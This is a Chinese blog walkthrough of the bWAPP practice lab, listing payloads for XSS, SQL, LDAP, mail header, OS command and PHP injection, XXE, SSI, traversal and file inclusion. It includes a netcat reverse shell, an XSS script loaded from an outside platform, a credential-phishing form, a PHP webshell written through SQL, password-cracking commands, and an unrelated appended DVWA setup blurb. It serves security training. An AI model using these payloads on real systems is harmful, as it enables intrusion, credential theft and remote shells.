bwapp靶机教程

A1注入
html injection:
low:最基础的xss注入:
xss测试
1.get

<script>alert(/xss/)</script>

在这里插入图片描述
跳转

<a href="https://www.baidu.com/">点击这儿领红包</a>

在这里插入图片描述获取cookie:

<script>alert(document.cookie)</script>)

在这里插入图片描述
xss平台利用:

</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/L0oJ></sCrIpT>

xss平台:
在这里插入图片描述
medium:
此时直接注入已经不能执行了
由于是get注入,考虑进行url编码:

<a href="https://www.baidu.com">click it <a>
%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d%22%3e%63%6c%69%63%6b%20%69%74%20%3c%61%3e

在这里插入图片描述同样跳到百度

high:
在这里插入图片描述可以看到源码将<>’’&进行编码,并且使用htmlspecialchars将html转化为实体,本来如果没有ENT_QUOTES参数的话还可以考虑使用单引号闭合 ’ firstname='alert(111)'来绕过,暂时没办法了

2.post
没什么好说的,只是表单提交方式变了而已
3.current url
在这里插入图片描述核心代码如上,url只能是来自请求头的host和url
low:
修改host
在这里插入图片描述在这里插入图片描述
修改url:
url会自动忽略#和//
在这里插入图片描述在这里插入图片描述这个中高级我没办法

储存型xss:
1
low,这个和反射性xss不一样的地方在于,反射性xss是一次性的,而存储型xss是只要浏览页面就会一直存在
而存储型xss相对来说危害性更大:
比如伪造一个登录框:

<form action="http://www.baidu.com">
<input type="text" name="username"></input>
<input type="text" name="password"></input>
<input type="submit">
</form>

在这里插入图片描述当我在提交数据时,仍然出现了xss弹窗

当然也可以更加逼真的登录框:
#伪造登录

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.1.101 /login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

在这里插入图片描述或者也可覆盖原页面:

 <form action="http://www.baidu.com" method="POST">

	<table>

            <tr>

                <td colspan="6"><p><textarea name="entry" id="entry" cols="80" rows="3"></textarea></p></td>

            </tr>

            <tr>

                <td width="79" align="left">

                    <button type="submit" name="blog" value="submit">Submit</button>

                </td>

                <td width="85" align="center">

                    <label for="entry_add">Add:</label>
                    <input type="checkbox" id="entry_add" name="entry_add" value="" checked="on">

                </td>

                <td width="100" align="center">

                    <label for="entry_all">Show all:</label>
                    <input type="checkbox" id="entry_all" name="entry_all" value="">

                </td>

                <td width="106" align="center">

                    <label for="entry_delete">Delete:</label>
                    <input type="checkbox" id="entry_delete" name="entry_delete" value="">

                </td>

                <td width="7"></td>

                <td align="left"><?php echo $message;?></td>

            </tr>

	</table>

    </form>
中高级使用的函数是:mysqli_real_escape_string
转义特殊字符

iFrame Injection
low
iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

首先ParamUrl可以进行任意文件读取,同时也可以打开其它网站

iframei.php?ParamUrl=./666&ParamWidth=250&ParamHeight=250

在这里插入图片描述中级:
此时的ParamUrl已经不可控了,所以考虑从别的地方下手
而这些参数使用了<iframe 标签,所以可以考虑闭合此标签和引号

if($_COOKIE["security_level"] == "1" || $_COOKIE["security_level"] == "2")
{

?>
    <iframe frameborder="0" src="robots.txt" height="<?php echo xss($_GET["ParamHeight"])?>" width="<?php echo xss($_GET["ParamWidth"])?>"></iframe>
<?php
}

使用:"?></iframe><script>alert(/xss/)</script><iframe>

LDAP Connection Settings
LDAP:Lightweight Directory Access Protocol(轻量级的目录访问协议)
首先了解一下LDAP语法:
dn表示一条记录所处的位置
dc表示一条记录所属的区域
ou表示所属组织
cn表示记录名字
可以将LDAP看作数据库
dc(数据库)-ou(表)-cn(字段)
或者看成树
dc(根)-ou(分支)-cn(名字)
=:(Name=ring) 查找name等于ring的对象
&:(&(Name=ring)(age=14))查找名字为ring且年龄为14的对象
|:(|(Name=ring)(age=14))查找名字为ring或者年龄为14的对象
!😦!Name=ring)查找name不为ring的对象
:(Name=)查找所有name不为空的对象

LDAP的形式如下:

ldap://<host>:<prot>/<path>

例如:

ldap://austin.ibm.com/ou=Austin,o=IBM
ldap:///ou=Austin,o=IBM??sub?(cn=Joe Q. Public)

LDAP注入:
LDAP注入与sql注入很像,
1.AND注入:
假如后端语句为:

(&(parameter1=value1)(parameter2=value2))

那么攻击者可以对此进行绕过
例如:

(&(username=username)(password=password))

而这里就可以进行类似于sql注入的联合注入,
构造payload:(&(usesrname=username)(&)(password=password))
因为服务器只处理第一个过滤器,即仅查询(&(username=username)(&))
只要输入的username正确,这个表达式就永真,就可以使用任意密码进入
2.权限提升

(&(directory=document)(security_level=low)) 

document是用户入口,low是安全等级,如果攻击者想看高安全等级的文档,他可以利用:

document)(security_level=*))(&(directory=documents

这样服务器生成的过滤器为:

(&(directory=document)(security_level=*))(&(directory=documents)(security_level=low))

那么&(directory=documents)(security_level=low))就被忽略了
还有or注入,盲注等等,原理跟sql注入差不多
不同的有发现属性和字符集消减
可参见:

https://blog.csdn.net/quiet_girl/article/details/50716312

Mail Header Injection
邮箱系统使用SMTP协议
SMTP协议:建立在FTP文件传输服务上一种可靠的电子邮件传协议
对应的SMTP服务端口为25
例如:邮箱从c@163.com到www.s.com网页的s@163.com过程如下:
s:(等待连接)
c:(打开与服务器的连接)
s:220 www.s.com SMTP service ready(服务器连接TCP就绪)
c:HELLO www.s.com
s:250 www.s.com says hello
c:MAIL.FROM:c@163.com
s:250 ok
c:RCPT TO :s@163.com
s:250 ok
c:DATA
s:354 Start mail input;end with<CRLF>.<CRLF>
c:传输邮件
c:<CRLF>.<CRLF>
s:250 ok
c:QUIT
s:221 www.s.com Service closing transmission channel

搜索了一下SMTP注入:
首先我们需要一个有效的账户,并且格式为:
发送方的e-mail地址
接收方的e-mail地址
主题
消息主体
附件
1.cc/bcc注入:
在发送者字段(sender)后注入cc(carbon copy抄送,)和bcc(隐藏抄送)参数(两者的区别在于在BCC栏中的收件人可以看到所有的收件人名(TO,CC,BCC),而在TO 和CC栏中的收件人看不到BBC的收件人名。)
From:sender@163.com%0ACc:1@163.com%0ABcc:2@163.com
现在所有的消息都会被发送到1和2账号
2.参数注入
From:sender@163.com%0ATo:hack@163.com
消息被发送到原来的收件人和攻击者账号
3.邮件主题注入:
From:sender@163.com%0A Subject:This is fake subject
这样原来的主题就被修改为this is fake subject(不过这个取决于代码编写的容错性,出现两个subject时时选择丢弃还是后者覆盖)
4.改变消息的主题body
From:sender@163.com %0A%0A this is fake message
this is a fake message被添加到原消息中

OS Command Injection
low:
由于默认执行了www.nsa.gov,这里可以使用&来进行多条命令的执行
www.nsa.gov&whoami
进行反弹shell
由于我是windows,就不演示反弹shell了
如果是linux,还可以使用;将命令隔开,从左往右执行

medium:
使用管道|就行;

high:
这里commix上场,用法参照:

https://blog.csdn.net/xiaohua_de/article/details/80767090

不过用commix扫容易把服务器扫崩

OS Command Injection - Blind
由于没有返回值,通过时间盲注
不执行命令时在5毫秒
ping 127.0.0.1 在90多左右
执行错误命令时在1000以上
执行两个正确命令时在100-200之间
通过时间可以判断是否执行命令,所以这里最好用的还是反弹shell
127.0.0.1 && nc -vn 192.168.91.141 4444 -e /bin/bash

high还是通过commix

PHP Code Injection
low

url/phpi.php?message=exec("whoami")
url/phpi.php?message=phpinfo()

但是最有用的还是反弹shell
当然还可以使用wget来直接下载木马(可惜我是windows)

Server-Side Includes (SSI) Injection
SSI:服务器断包含
语法:
<#echo>显示服务器端环境变量
<#include>将文本内容直接插入到文档中

SSI命令基本格式:

<!--指令名称=“指令参数”>
例如:<!--#exec cmd="cat /etc/passwd"-->

如果服务器不支持SSI, 会被忽略,SSI大小写敏感
low和medium都没有对html进行过滤,都存在反射性xss
当然low也存在着ssi:

<!--#exec cmd="ipconfig"-->

SQL Injection (GET/Search)
low:根据:1' union select 1,login,password,email,5,6,7 from users #
在这里插入图片描述
爆出密码后,尝试使用john破解:
关于john:
/etc/shadow记录了所有用户名及其密码hash值
john爆破密码:
默认模式:

john --user=bee shadow

简单模式:

john --single --user=bee passwd_shadow

基于字典:

john --wordlist=username.txt --user=bee shadow

incremental(逐个遍历的爆破模式):

john --incremental:digits --user=bee shadow

这里注意,参照表如下:

破解模式的具体方法      破解的密码长度       所包含的字符
Incremental:all         0-8                  All 95 printable ASCII characters
Incremental:all15       0-5                  All 95 printable ASCII characters
Incremental:all6        6                    All 95 printable ASCII characters
Incremental:all7        7                    All 95 printable ASCII characters
Incremental:all8        8                    All 95 printable ASCII characters
Incremental:alpha       1-8                  A-Z     纯大写字母
Incremental:digits      1-8                  0-9     纯数字
Incremental:lanman      0-7		    A-Z, 0-9, and some special characters  (大写字母,数字加 一些特殊字符)

预定义密码破解的类型(md5/bf/sha/…)

john --format=sha512crpty shadow

john字典爆破:

john -w:password.list --format=sha512crypt shadow

(这里的shadow为储存hash密码的文件,破解过的密码会储存在home目录下的隐藏文件.john/john.pot)
*home目录下的.john/john.pot会记录所有破解过的密码,如果不清除将无法重复破解已经破解过的用户
详情参照:

https://klionsec.github.io/2017/04/26/use-john/
https://blog.csdn.net/qq_37960324/article/details/83022216

在这里插入图片描述回到题目,除了常规的注入,还可以进行文件写入:

1' union select  1,2,3,4,5,6,"<?php echo 'a';eval($_POST[a]);?>" into outfile 'C:\phpStudy\PHPTutorial\WWW\bWAPP\bWAPP\1.php'#

SQL Injection (GET/Select)
low:

0 union select 1,login,3,email,password,6,7 from users

medium:

1 and extractvalue(1,concat(0x7e,(select group_concat(password) from users)))#

SQL Injection (AJAX/JSON/jQuery):
AJAX:
Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)
AJAX 最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。(即动态网页)
举个例子:

<button type="button" onclick="loadxmldoc()">修改内容</button>
<head>
<script>
function loadxmldoc()
{
.......AJAX脚本....
}
</script>
</head>

使用ajax前,先创建XMLHttpRequest对象
现在的浏览器都内建了XMLHttpRequest
variable=new XMLHttpRequest();
老版的ie5,ie6使用ActiveX对象
variable=new ActiveObject(“Microsoft.XMLHTTP”)

AJAX向服务器发送请求
使用XMLHttpRequest对象的open和send
xmlhttp.open(“method”,“url”,async);
method:get或者post方法
async:true(异步),false(同步)
xmlhttp.send(string);仅用于post请求
例如:

xmlhttp.open(“POST”,"/try/ajax/demo_post2.php",true);
xmlhttp.setRequestHeader(“Content-type”,“application/x-www-form-urlencoded”);
xmlhttp.send(“fname=Henry&lname=Ford”);

服务器响应:
responseText
responseXML
详情参照

https://www.runoob.com/ajax/ajax-tutorial.html

核心代码:


        $("#title").keyup(function(){//输入框的name为title
            // Searches for a movie title
            var search = {title: $("#title").val()};//创建一个key:value赋值给seach

            // AJAX call
            $.getJSON("sqli_10-2.php", search, function(data){
                init_table();
                // Constructs the table from the JSON data
                var total = 0;
                $.each(data, function(key, val){
                    total++;
                    $("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
                });//从json中取数据
                // Empty result
                if (total == 0)
                {
                    $("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
                }
            })

        });

所以以上是sqli-10-2.php把数据提交给此文件,正常查询时使用get方法
。。。。。这里是真没看懂,先做下记录
直接提交:http://192.168.1.102/bWAPP/sqli_10-2.php?title=a 不行
需要修改referer:http://192.168.1.102/bWAPP/sqli_10-1.php?search=a
这个也没复现出来。。。
paylaod:?title=I%%27+UNION+SELECT+1,2,3,4,version(),6,7+--+
(注意执行这个是在sqli_10-2.php)
在这里插入图片描述paylaod:http://192.168.91.141/bWAPP/bWAPP/sqli_10-2.php?title=I%%27+UNION+SELECT+1,login,3,email,password,6,7%20from%20users+--+
在这里插入图片描述验证码那个完全不知道漏洞点在哪,跳过

SQL Injection (Login Form/Hero)
bee' or 1=1#永真绕过

SQL Injection (Login Form/User)

' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
1

SQL Injection (SQLite)
参照:

https://www.cnblogs.com/kagari/p/11631085.html

SQL Injection - Stored (XML)(xxe):
注意,这里需要改一下php的配置文件,php-ini,将;always_populate_raw_post_data = -1前面的分号注释去掉(如果还是不行,将php设置为较高版本)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright [<!ENTITY test SYSTEM "file:///etc//passwd">]>
<rest>
  <login>&test;</login>
  <secret>login</secret>
</rest>


A2
Broken Auth. - CAPTCHA Bypassing
验证码不实时更新,造成暴力破解
使用抓包拦截,爆破

Broken Auth. - Forgotten Function
同样的对邮箱爆破

Weak Passwords

low:
test 
test
medium:
test
test123
high:
test
Test123

Session Mgmt. - Administrative Portals

url:admin=1

Session Mgmt. - Cookies (Secure)+Cookies (HTTPOnly)
抓包修改:security_level=0; PHPSESSID=g7t91om7h4iuh70dadbt4h3rs7; top_security=no<script>alert(/xss/)</script>
在这里插入图片描述

A3:xss
XSS - Reflected (POST)+GET
使用xss平台,反射性xss需要伪造外形,来诱导别人点它
XSS - Reflected (JSON)
源码:

 var JSONResponseString = '<?php echo $string ?>';

        // var JSONResponse = eval ("(" + JSONResponseString + ")");
        var JSONResponse = JSON.parse(JSONResponseString);

        document.getElementById("result").innerHTML=JSONResponse.movies[0].response;
假设string=’{"movies":[{"response":"HINT: our master really loves Marvel movies :)"}]}'
进行绕过:"}]}';alert(/xss/)</script>(}]}与前面的括号闭合,'是与string='的引号闭合)

Reflected (AJAX/JSON)
动态网页,输入之后就一直弹窗

<img src=1.png onload=alert(/xss/)>   一直加载
<img src=1.png onerror=alert()> 一直弹窗

在这里插入图片描述这个容易让靶机崩掉

Reflected (AJAX/XML)
html实体转义(不知道大神们都是怎么想的,反正我看不出来)

&lt;img src=0 οnerrοr=&quot;alert(1)&quot;&gt;

Reflected (Back Button)
在网页源码里可以看见如下关键语句:

go back 按钮是引用的refer的值
'"><img src=1.png onerror=alert(/xss/)>

通过抓包修改refer的值
在这里插入图片描述
Reflected (Custom Header)
需要在HTTP的头部加入bWAPP字段即可 Palyload: bWAPP:
Reflected (Eval)
关键语句:

eval("document.write(Date())");

在url里可以看到:
http://192.168.91.141/bWAPP/bWAPP/xss_eval.php?date=Date()
通过data参数来alert(1),弹窗

Reflected (HREF)
根据几次试验,猜测后台将输入的name写入a标签,再进行跳转

<a herf=name></a>

所以构造:name=></a><script>alert(1)</script>

Reflected (Login Form)
使用万能密码进行绕过

1' or 1=1' <script>alert(/xss/)</script>

phpMyAdmin BBCode Tag XSS(CVE-2010-4480)
已知漏洞

?error=[a@http://www.baidu.com@]XSS@[/a]

php_self
在这个靶机很简单,直接<script>alert(1)</script>
关于php_self详细参考

https://www.jianshu.com/p/b0c8ae980fea

PHP_SELF
PHP_SELF是一个返回正在执行的当前脚本的变量。此变量返回当前文件的名称和路径(来自根文件夹)
如果再页面中使用:

<form name="test" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

如果用户输入正常,假如为/login.php
则页面是:<form name="test" action="login.php" method="post">
正常访问到url/login.php
但是,假如输入的是:

url/login.php"/><script>alert(1)</script><!--

那么语句久变成:<form name="test" action="login.php"/><script>alert(1)</script><!--" method="post">
从而形成xss

Reflected (Referer)
抓包修改referer
user-agent也是一样

到此,反射型xss告一段落
————————————————————————————————————

储存型xss:
SQLiteManager XSS(CVE-2012-5105)
也是一个已知漏洞

sqlite/index.php?dbsel=1"><script>alert(1)</script>

A4
Insecure DOR (Change Secret)
通过抓包就能看到用户名了

xxe:

A5:先跳过

A6:

Directory Traversal - Directories

http://192.168.91.141/bWAPP/bWAPP/directory_traversal_2.php?directory=../../../../../

Directory Traversal - Files


http://192.168.91.141/bWAPP/bWAPP/directory_traversal_1.php?page=../../1.php

Host Header Attack (Cache Poisoning)

Remote & Local File Inclusion (RFI/LFI)


http://192.168.91.141/bWAPP/bWAPP/rlfi.php?language=../../flag.txt&action=go

PHP Eval Function

http://192.168.91.141/bWAPP/bWAPP/php_eval.php?eval=echo%20shell_exec(%22ipconfig%22);

这些都属于比较基础的东西,到此为止,对于骚东西,之后再写


  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要安装DVMA靶机,首先需要搭建一个基本的环境。可以使用DVWA和PHPStudy来搭建靶机。DVWA是一款渗透测试的演练系统,而PHPStudy是一个集成的PHP开发环境。使用这两个工具可以帮助你学习渗透测试并搭建一个靶机。 首先,你需要下载并安装PHPStudy。你可以在https://www.xp.cn上找到PHPStudy的下载地址。根据你的系统要求选择合适的版本进行下载。解压文件后,执行安装文件即可。建议将解压后的文件直接放在根目录下。 接下来,你需要下载并安装DVWA。你可以在文章中的链接中找到DVWA的下载及安装教程。按照教程的指引进行下载和安装。 一旦PHPStudy和DVWA都安装好了,你就可以开始配置和使用DVMA靶机了。根据文章提供的教程,你可以了解到如何配置DVMA靶机的基本知识。阅读这篇文章可以让你更加详细地了解DVMA靶机的搭建过程,并给你一些参考和借鉴的价值。 总结起来,DVMA靶机的安装教程包括以下步骤: 1. 下载并安装PHPStudy,选择适合你系统要求的版本。 2. 解压PHPStudy,将文件放在根目录下。 3. 下载并安装DVWA,根据教程进行配置和安装。 4. 阅读DVMA靶机搭建教程,了解搭建过程的基本知识。 希望以上信息对你有所帮助!<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [渗透测试DVMA+PHPStuday环境搭建](https://blog.csdn.net/qq_41215108/article/details/112314681)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值